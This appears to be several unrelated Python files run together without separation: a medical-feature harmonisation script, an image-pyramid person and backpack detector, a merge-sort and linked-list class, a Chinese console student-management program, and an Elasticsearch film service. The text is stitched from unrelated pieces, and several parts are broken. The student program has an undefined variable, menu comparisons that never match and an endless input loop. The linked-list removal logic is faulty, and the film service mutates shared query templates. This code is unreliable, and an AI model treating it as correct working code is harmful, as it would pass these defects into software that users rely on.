from ComScan import AutoCombat  # why it loads so long?

limit_input_to = 600
data = features.drop('MEL', axis=1)\
               .drop('Image', axis=1)\
               .drop('NV', axis=1)\
               .head(limit_input_to)  # uncomment this line to limit input data # todo: is this good?

ft = [key for key in data.keys() if key.startswith('original_glcm')]
sf = [key for key in data.keys() if key.startswith('original_firstorder')]
ccf = [key for key in data.keys() if key not in ft + sf]

print('Preparing AutoCombat')
ac = AutoCombat(
    features=ft,
    sites_features=sf,
    continuous_cluster_features=ccf,
    size_min=2,
    n_jobs=10
)

print('Processing AutoCombat.fit')
print(ac.fit(data))

print('Processing AutoCombat.transform')
x_trans = ac.transform(data)
# print(x_trans)
print(x_trans.shape)

###############################################################
# save results
file_path_ac = COM_ROOT + r'\r_autoCombat.pck'
file_path_xt = COM_ROOT + r'\r_xTransformed.pck'
file_path_y = COM_ROOT + r'\r_y.pck'

y = features['MEL'].head(limit_input_to).values
save_pickled(file_path_y, y)
save_pickled(file_path_xt, x_trans)
save_pickled(file_path_ac, ac)

print("Files saved to:", file_path_ac, file_path_xt, file_path_y, sep='\n')


# import the necessary packages
import os
import numpy as np
import cv2
import imutils

PYRAMID_SCALE = 2.0
WIN_STEP = 416 #312
ROI_SIZE = (1232,1232)
INPUT_SIZE = (416,416)

class ObjectDetectorPyramid:
    def __init__(self, object_detector):

        # folder with yolo weights
        self.object_detector = object_detector

    def process_frame(self, frame_rgb):

        # initialize the image pyramid
        pyramid = self.__image_pyramid(frame_rgb, scale=PYRAMID_SCALE, min_size=ROI_SIZE)

        (H, W) = frame_rgb.shape[:2]

        # initialize two lists, one to hold the ROIs generated from the image
        # pyramid and sliding window, and another list used to store the
        # (x, y)-coordinates of where the ROI was in the original image
        rois = []
        locs = []
        objects = []

        # loop over the image pyramid
        for image in pyramid:
            # determine the scale factor between the *original* image
            # dimensions and the *current* layer of the pyramid
            scale = W / float(image.shape[1])
            # for each layer of the image pyramid, loop over the sliding
            # window locations
            for (x, y, roi_orig) in self.__sliding_window(image, WIN_STEP, ROI_SIZE):
                # scale the (x, y)-coordinates of the ROI with respect to the
                # *original* image dimensions
                x = int(x * scale)
                y = int(y * scale)
                w = int(ROI_SIZE[0] * scale)
                h = int(ROI_SIZE[1] * scale)
                # take the ROI and preprocess it so we can later classify
                # the region using Keras/TensorFlow
                roi = cv2.resize(roi_orig, INPUT_SIZE)

                # update our list of ROIs and associated coordinates
                rois.append(roi)
                locs.append((x, y, x + w, y + h))

                check_for_mirrors = False

                (bounding_boxes, classes, confidences) =  self.__find_objects_and_return_object_informations(self.object_detector, roi_orig, scale)

                for (bb, class_id, confidence) in zip(bounding_boxes, classes, confidences):
                    objects.append((class_id, confidence, (x+bb[0],y+bb[1],x+bb[2],y+bb[3])))
                    check_for_mirrors = True

                if check_for_mirrors == True:
                    # flip image and reprocess it
                    roi_flipped = roi_orig.copy()
                    roi_flipped = cv2.flip(roi_flipped, 0)

                    (bounding_boxes, classes, confidences) =  self.__find_objects_and_return_object_informations(self.object_detector, roi_flipped, scale)
                    for (bb, flipped_class_id, flipped_confidence) in zip(bounding_boxes, classes, confidences):

                        objects.append((flipped_class_id, flipped_confidence, (x+bb[0],y+h-bb[3],x+bb[2],y+h-bb[1])))

        return objects

    def process_frame_and_generate_mask(self, frame_rgb):

        objects = self.process_frame(frame_rgb)

        image_height,image_width,image_depth = frame_rgb.shape
        image_mask = np.zeros((image_height,image_width),dtype = np.uint8)
        for o in objects:
            cv2.rectangle(image_mask, (o[2][0],o[2][1]), (o[2][2],o[2][3]), 255, -1)
        return (image_mask, objects)

    def __sliding_window(self, image, step, window_size):
        xx = list(range(0, image.shape[1] - window_size[0], step))
        xx.append(image.shape[1]-window_size[0])
        yy = list(range(0, image.shape[0] - window_size[1], step))
        yy.append(image.shape[0]-window_size[1])

        # slide a window across the image
        for y in yy:
            for x in xx:
                yield (x, y, image[y:y + window_size[1], x:x + window_size[0]])

    def __image_pyramid(self, image, scale=1.5, min_size=(224, 224)):
        # yield the original image
        yield image
        # keep looping over the image pyramid
        while True:
            # compute the dimensions of the next image in the pyramid
            w = int(image.shape[1] / scale)
            image = imutils.resize(image, width=w)
            # if the resized image does not meet the supplied minimum
            # size, then stop constructing the pyramid
            if image.shape[0] < min_size[1] or image.shape[1] < min_size[0]:
                break
            # yield the next image in the pyramid
            yield image

    def __find_objects_and_return_object_informations(self, object_detector, frame, scaling_factor):
        objects_detected = object_detector.process_frame(frame)
        (object_class_ids, object_confidences, object_boxes) = object_detector.postprocess_frame(frame, objects_detected)

        bounding_boxes = []
        classes = []
        confidences = []
        for (class_id, confidence, box) in zip(object_class_ids, object_confidences, object_boxes):
            if object_detector.label(class_id) in ('person','backpack'):
                left = int(float(box[0]) * scaling_factor)
                top  = int(float(box[1]) * scaling_factor)
                right = int(float(box[2]) * scaling_factor)
                bottom = int(float(box[3]) * scaling_factor)
                bounding_boxes.append((left,top,right,bottom))
                classes.append(class_id)
                confidences.append(confidence)

        return (bounding_boxes, classes, confidences)


class Node:
    def __init__(self,x):
        self.value = x
        self.next = None

class GivSequence:

    def __init__(self,sequence):
        self.previous = None

        self.nodePointers = []
        self.__mergeSort(sequence)

        self.sequence = sequence

    #traverses linked list
    def printLink(self):
        ini = self.nodePointers[0]
        while ini:
            print(ini.value)
            ini = ini.next

    #links values inside merge sort
    def __linkTheNodeForMerge(self,sequence,k):
        if self.previous != None:
            tmp = Node(sequence[k])
            self.previous.next =  tmp
            self.nodePointers.append(tmp)
            self.previous = tmp
        else:
            tmp = Node(sequence[k])
            self.previous = tmp
            self.nodePointers.append(tmp)

    def __mergeSort(self,sequence,main = True):
        if len(sequence) > 1:
            mid = len(sequence)//2 #Finding the mid of the sequenceay
            L = sequence[:mid] # Dividing the sequenceay elements
            R = sequence[mid:] # into 2 halves

            self.__mergeSort(L,False) # Sorting the first half
            self.__mergeSort(R,False) # Sorting the second half

            i = j = k = 0

            # Copy data to temp sequenceays L[] and R[]
            while i < len(L) and j < len(R):
                if L[i] < R[j]:
                    # print(sequence)
                    sequence[k] = L[i]

                    if main:
                        self.__linkTheNodeForMerge(sequence,k)

                    i+=1
                else:
                    sequence[k] = R[j]

                    if main:
                        self.__linkTheNodeForMerge(sequence,k)

                    j+=1
                k+=1

            # Checking if any element was left
            while i < len(L):
                sequence[k] = L[i]

                if main:
                    self.__linkTheNodeForMerge(sequence,k)

                i+=1
                k+=1

            while j < len(R):
                sequence[k] = R[j]

                if main:
                    self.__linkTheNodeForMerge(sequence,k)

                j+=1
                k+=1

    def __retrieveIndex(self,x,sequence):
        return sequence.index(x) if x in sequence else None

    def remove(self,x):
        #changes root pointer to 0
        #previous pointer is set to next (linked list)

        idx = self.__retrieveIndex(x,self.sequence)

        if idx == None:
            print(f"{x} does not exist")
            return

        if idx == 0:
            self.nodePointers[idx].next = None
            self.sequence.pop(idx)
            self.nodePointers.pop(idx)

        elif idx < len(self.sequence) - 1:
            prevNode = self.nodePointers[idx - 1]
            prevNode.next = self.nodePointers[idx + 1]
            self.sequence.pop(idx)
            self.nodePointers.pop(idx)
        else:
            prevNode = self.nodePointers[idx - 1]
            prevNode.next = None
            self.sequence.pop(idx)
            self.nodePointers.pop(idx)

    def sucessor(self,x):
        #if not removed
        #recieve index,
        #check position in linked list and its next value, if there some.
        idx = self.__retrieveIndex(x,self.sequence)

        if idx != None:
            if idx == len(self.sequence) - 1:
                print(f"{x} has no sucessor")
                return None
            else:
                return self.nodePointers[idx].next.value
        print(f"{x} does exist")

a = [1,4,3,3,43,6]

b = GivSequence(a)

# b.printLink()
b.remove(2)
b.remove(4)
b.remove(90)
b.remove(6)
b.remove(3)
b.printLink()  #I could go even further and return an iterator. (To iterate linked list)

print(b.sucessor(3))


list = []
def add():#添加功能
    stu = {}
    while True:
        name = input("请输入学生姓名")
        age = input("请输入学生年龄")
        sex = input('请输入学生性别')
        stu['name'] = name
        stu['age'] = age
        stu['sex'] = sex
        list.append(stu)
        print(list)
def find():#查找功能
    name = input("请输入要查找的名字")
    name = name.strip()
    for stu in list:
        if stu["name"] == name:
            print("学生姓名:%s\n学生年龄:%d\n学生性别%s\n"%(stu["name"],stu["age"],atu['sex']))
            break
def change():#修改功能
    name = input("请输入要修改的名字")
    name = name.strip()
    for stu in list:
        if stu["name"] == name:
            print("1、修改名字")
            print("2、修改年龄")
            print('3、修改性别')
            num = int(input("请选择功能"))
            if num == 1:
                name = input("请输入新的名字")
                stu["name"] = name
            elif num == 2:
                age = int(input("请输入新的年龄"))
                stu["age"] = age
            elif num == 3:
                sex = input('请输入新的性别')
                stu['sex'] = sex
def delete():#删除功能
	name = input("请选择要删除的名字")
	for stu in list:
		if stu["name"] == name:
			list.remove(stu)
			print("删除成功")
			break
def print_menu():
	print("欢迎来到学生管理系统".center(30,"*"))
	while True:
		print("1、添加学生信息")
		print("2、查找学生信息")
		print("3、修改学生信息")
		print("4、删除学生信息")
		print("5、退出学生系统")
		input_info()#调用选择功能函数
def input_info():
    num = input("请选择功能")
    if num == 1:
        add()#调用添加函数
    elif num == 2:
        find()
    elif num == 3:
        change()
    elif num == 4:
        delete()
    elif num == 5:
        exit()
print_menu()


from functools import lru_cache
from typing import List, Optional, Type

from elasticsearch import NotFoundError
from fastapi import Depends
from pydantic import UUID4

from core.config import config
from db.elastic import get_elastic
from models.es_models import ESFilm
from services.abstract_services import (
    APIAbstractServiceFactory,
    APIAsyncSearchEngine,
    APIServiceListable,
    APIServiceSearchable,
)
from services.es_queries import (
    FILMS_QUERY,
    FILMS_SEARCH_QUERY,
    GENRE_FILTERED_FILMS_QUERY,
)
from services.es_query_parameters import ESQueryParameters

FILM_CACHE_EXPIRE_IN_SECONDS = 5  # 5 секунд

class FilmService(APIServiceListable, APIServiceSearchable):
    def __init__(self, data_source: APIAsyncSearchEngine):
        self.data_source = data_source
        self.ES_INDEX_NAME = config.ELASTIC_INDEX_FILM

    # get_by_id возвращает объект фильма. Он опционален,
    # так как фильм может отсутствовать в базе
    async def get_by_id(
            self,
            object_id: UUID4,
            model: Type[ESFilm] = ESFilm,
    ) -> Optional[ESFilm]:
        try:
            doc = await self.data_source.get(
                index=self.ES_INDEX_NAME,
                id=object_id,
                _source_excludes=[
                    "actors_names",
                    "writers_names",
                ],
            )
        except NotFoundError:
            return None
        return model(**doc["_source"])

    # Возвращает список фильмов, отсортированный по указанному полю
    async def get_all(
            self,
            sort_field: str,
            filter_field: UUID4 = None,
            page_size: int = None,
            page_number: int = None,
            model: Type[ESFilm] = ESFilm,
    ) -> List[ESFilm]:
        if not filter_field:
            query = FILMS_QUERY
        else:
            query = GENRE_FILTERED_FILMS_QUERY
            match_dict = {"genre.id": filter_field}
            query["query"]["nested"]["query"]["match"] = match_dict

        # Дополняем запрос параметрами пагинации,
        # если указаны page_size и page_number
        query.update(
            ESQueryParameters.get_es_pagination_parameters(
                page_size,
                page_number,
            )
        )
        query["sort"] = ESQueryParameters.get_es_sorting(sort_field)

        raw_data = await self.data_source.search(
            index=self.ES_INDEX_NAME,
            body=query,
        )

        return_data = [
            model(**hit["_source"]) for hit in raw_data["hits"]["hits"]
        ]
        return return_data

    async def get_list(
            self,
            objects_list: List[UUID4],
            model: Type[ESFilm] = ESFilm,
            page_size: int = None,
            page_number: int = None,
    ) -> List[ESFilm]:
        films = await self.data_source.mget(
            index="movies",
            _source=["id", "title", "imdb_rating"],
            body={"ids": objects_list},
        )
        return_data = [model(**doc["_source"]) for doc in films["docs"]]
        return return_data

    async def search(
            self,
            search_string: str,
            page_size: int = None,
            page_number: int = None,
            model: Type[ESFilm] = ESFilm,
    ) -> List[ESFilm]:

        query = FILMS_SEARCH_QUERY
        query["query"]["multi_match"]["query"] = search_string
        query.update(
            ESQueryParameters.get_es_pagination_parameters(
                page_size,
                page_number,
            )
        )

        raw_data = await self.data_source.search(
            index=self.ES_INDEX_NAME,
            body=query,
        )

        return_data = [
            model(**hit["_source"]) for hit in raw_data["hits"]["hits"]
        ]
        return return_data

class APIFilmServiceFactory(APIAbstractServiceFactory):
    @staticmethod
    @lru_cache()
    def get_service(
            data_source: APIAsyncSearchEngine = Depends(get_elastic),
    ) -> FilmService:
        return FilmService(data_source)